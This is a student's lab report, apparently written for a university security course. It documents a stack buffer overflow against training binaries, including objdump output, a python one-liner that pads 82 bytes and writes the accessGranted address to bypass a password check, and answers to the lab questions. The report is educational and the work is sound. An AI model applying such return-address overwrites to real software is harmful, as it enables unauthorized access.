Buffer Overflow Lab Report

Abraham J. Reines

October 15, 2024

1 Introduction

This lab focuses on exploiting buffer overflow vulnerabilities in two programs, `buffer_oflow1` and `buffer_oflow2`. The objective is to overwrite the return address on the stack to execute the `accessGranted` function without providing the correct password.

2 Lab Procedures

2.1 Setting Up

The provided archive was extracted, and the contents were listed:

```
student@desktop:~$ tar -xvf buffer_oflow.tar
./buffer_oflow/
./buffer_oflow/buffer_oflow1
./buffer_oflow/buffer_oflow2

student@desktop:~$ cd buffer_oflow/
student@desktop:~/buffer_oflow$ ls -al
total 24
drwxr-xr-x 2 student student 4096 Jan 24  2017 .
drwxr-xr-x 3 student student 4096 Oct 15 22:34 ..
-rwxr-xr-x 1 student student 5665 Jan 24  2017 buffer_oflow1
-rwxr-xr-x 1 student student 5873 Jan 24  2017 buffer_oflow2
```

2.2 Initial Tests

Running `buffer_oflow1` with incorrect and correct passwords:

```
student@desktop:~/buffer_oflow$ ./buffer_oflow1
Enter password: password
Access Denied . . .

student@desktop:~/buffer_oflow$ ./buffer_oflow1
Enter password: $3cr3t
Access Granted!
"Progress isn't made by early risers. It's made by lazy men trying to find
    easier ways to do something."
```

```
- Robert Heinlein
```

3 Exploiting the Buffer Overflow

3.1 Finding the Address of `accessGranted`

The `objdump` utility was used to find the address of the `accessGranted` function:

```
student@desktop:~/buffer_oflow$ objdump -d buffer_oflow1 | grep
    accessGranted
080484ac <accessGranted>:
```

The address is `0x080484ac`.

3.2 Determining the Buffer Size

A series of inputs with increasing lengths of 'A's were tested to cause a segmentation fault, indicating a buffer overflow.

3.3 Crafting the Exploit

An input string was constructed with 82 'A's followed by the address of `accessGranted` in little-endian format:

```
student@desktop:~/buffer_oflow$ python -c 'print "A"*82 + "\xac\x84\x04\
    x08"' | ./buffer_oflow1
Enter password: Access Denied . . .
Access Granted!
"Progress isn't made by early risers. It's made by lazy men trying to find
     easier ways to do something."
- Robert Heinlein
Segmentation fault (core dumped)
```

4 Lab Questions

1. **Address of `accessGranted` in `buffer_oflow2`:** Using `objdump`, the address is `0x080484c5`.
2. **Number of Bytes to Overflow the Input Buffer:** It takes 82 bytes ('A's) to reach the return address.
3. **Last Name of the Author Quoted:** The author quoted is Heinlein.
4. **Reason for the Segmentation Fault After `accessGranted`:** The segmentation fault occurs because the return address for `accessGranted` is invalid. Since the stack was overwritten, there is no valid return address for `accessGranted`, causing the program to crash when it tries to return.

5 Conclusion

By exploiting a buffer overflow vulnerability, the return address on the stack was overwritten with the address of the `accessGranted` function. This allowed execution of privileged code without the correct password. The segmentation fault occurred due to the corrupted stack frame lacking a valid return address for `accessGranted`.

6 References

- Aleph One. "Smashing the Stack for Fun and Profit." *Phrack Magazine*, Issue 49, 1996. Available at: `http://phrack.org/issues/49/14.html`
- Erickson, Jon. *Hacking: The Art of Exploitation*. 2nd Edition, No Starch Press, 2008.
- Szor, Peter. *The Art of Computer Virus Research and Defense*. Addison-Wesley Professional, 2005.
- Seacord, Robert C. *Secure Coding in C and C++*. 2nd Edition, Addison-Wesley Professional, 2013.
- Bryant, Randal E., and David R. O'Hallaron. *Computer Systems: A Programmer's Perspective*. 3rd Edition, Pearson, 2015.
- Cowan, Crispin, et al. "StackGuard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks." In *Proceedings of the 7th USENIX Security Symposium*, San Antonio, Texas, 1998.
- Lipp, Moritz, et al. "Meltdown: Reading Kernel Memory from User Space." In *Proceedings of the 27th USENIX Security Symposium*, Baltimore, MD, 2018.
- Lin, Zhiqiang, et al. "Automatic Protocol Format Reverse Engineering through Context-Aware Monitored Execution." In *Proceedings of the Network and Distributed System Security Symposium (NDSS)*, San Diego, CA, 2008.
- Larochelle, David, and David Evans. "Statically Detecting Likely Buffer Overflow Vulnerabilities." In *Proceedings of the 10th USENIX Security Symposium*, Washington, D.C., 2001.
- Stallings, William. *Computer Security: Principles and Practice*. 4th Edition, Pearson, 2018.
- Wang, Wallace. *Steal This Computer Book 4.0: What They Won't Tell You About the Internet*. No Starch Press, 2006.
- Howard, M., LeBlanc, D., & Viega, J. (2005). *24 deadly sins of software security: Programming flaws and how to fix them.* McGraw-Hill.

"This work complies with JMU honor code. I did not give or receive unauthorized help on this assignment."